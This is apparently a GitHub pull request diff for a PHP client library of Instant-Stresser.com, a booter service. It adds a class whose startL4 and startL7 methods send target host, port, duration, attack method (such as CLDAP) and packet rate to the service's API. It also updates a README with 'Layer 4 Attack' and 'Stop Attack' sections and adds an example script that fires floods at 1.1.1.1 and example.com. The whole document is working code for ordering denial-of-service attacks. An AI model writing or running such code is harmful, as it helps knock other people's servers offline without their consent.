Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
130 changes: 0 additions & 130 deletions API.php

This file was deleted.

132 changes: 132 additions & 0 deletions InstantStresserApi.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,132 @@
<?php
/*
* Instant-Stresser.com PHP API cURL Example.
*
* @author MachiavelSST
* @link https://instant-stresser.com
* @contributors 13dev
*
*/
namespace InstantStresser;

class InstantStresserApi
{
private $userId;
private $apiKey;
private $curlHandler;
const API_URL = "https://api.instant-stresser.com/";

/**
* InstantStresserApi constructor.
* @param $userId
* @param $key
*/
public function __construct($userId, $key)
{
$this->userId = $userId;
$this->apiKey = $key;

if(empty($this->userId) || empty($this->apiKey))
{
throw new Exception('UserId and API Key must be defined.');
}
}

public function __destruct()
{
if (!is_null($this->curlHandler))
{
curl_close($this->curlHandler);
}
}

/**
* @param $host
* @param $port
* @param $time
* @param $method
* @param int $slots
* @param int $pps
* @return string
*/
public function startL4($host, $port, $time, $method, $slots = 1, $pps = 100000)
{
return $this->send([
'host' => $host,
'port' => $port,
'time' => $time,
'method' => $method,
'slots' => $slots,
'pps' => $pps
]);
}

/**
* @param $host
* @param $time
* @param $method
* @param int $slots
* @param string $type
* @param bool $ratelimit
* @return string
*/
public function startL7($host, $time, $method, $slots = 1, $type = "GET", $rateLimit = false)
{
return $this->send([
'host' => $host,
'time' => $time,
'method' => $method,
'slots' => $slots,
'type' => $type,
'ratelimit' => $rateLimit
]);
}

public function stop($host)
{
return $this->send([
'host' => $host
], "stop");
}

/**
* @param array $parameters
* @param string $action
* @return string
*/

private function send(array $parameters = [], $action = 'start')
{
$parameters['user'] = $this->userId;
$parameters['api_key'] = $this->apiKey;
$parameters = http_build_query($parameters, '', '&');

if(is_null($this->curlHandler))
{
$this->curlHandler = curl_init(self::API_URL . $action);
curl_setopt($this->curlHandler, CURLOPT_RETURNTRANSFER, TRUE);
// CURLOPT_SSL_VERIFYPEER only available on PHP >= 7.1
//curl_setopt($this->curlHandler, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($this->curlHandler, CURLOPT_ENCODING, '');
curl_setopt($this->curlHandler, CURLOPT_MAXREDIRS, 10);
curl_setopt($this->curlHandler, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
curl_setopt($this->curlHandler, CURLOPT_POST, 1);
curl_setopt($this->curlHandler, CURLOPT_POSTFIELDS, $parameters);
curl_setopt($this->curlHandler, CURLOPT_HTTPHEADER , ['cache-control: no-cache', 'content-type: application/x-www-form-urlencoded']);
}

switch($response = curl_exec($this->curlHandler))
{
case false:
return curl_error($this->curlHandler);
break;
default:
$response = json_decode($response, true);
return $response['message'];
break;
}
}
}


?>
10 changes: 3 additions & 7 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,9 +10,9 @@ Available here : https://instant-stresser.com/help/methodsdoc

## Authentication
```php
require 'API.php';
require 'InstantStresserApi.php';
// UserID and API Key generated from API Manager website.
$api = new API("UserID", "your-apikey");
$api = new InstantStresser\InstantStresserApi("UserID", "your-apikey");
```

## Layer 4 Attack
Expand All @@ -28,10 +28,6 @@ $response = $api->startL7("https://example.com/", 15, "HTTP1", 1, "GET", false);
## Stop Attack
```php
/* Parameters : Host. */
$response = $api->stopAttack("1.1.1.1");
```

## API Response
```php
$response = $api->stop("1.1.1.1");
echo $response; // Get API response.
```
9 changes: 9 additions & 0 deletions example.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
<?php

use InstantStresser\InstantStresserApi;

$api = new InstantStresserApi('USER_ID', 'MY_KEY');

$api->startL4('1.1.1.1', 80, 15, 'CLDAP', 1, 100000);
$api->startL7('https://example.com/', 15, 'HTTP1', 1, 'GET', false);
$api->stop('1.1.1.1');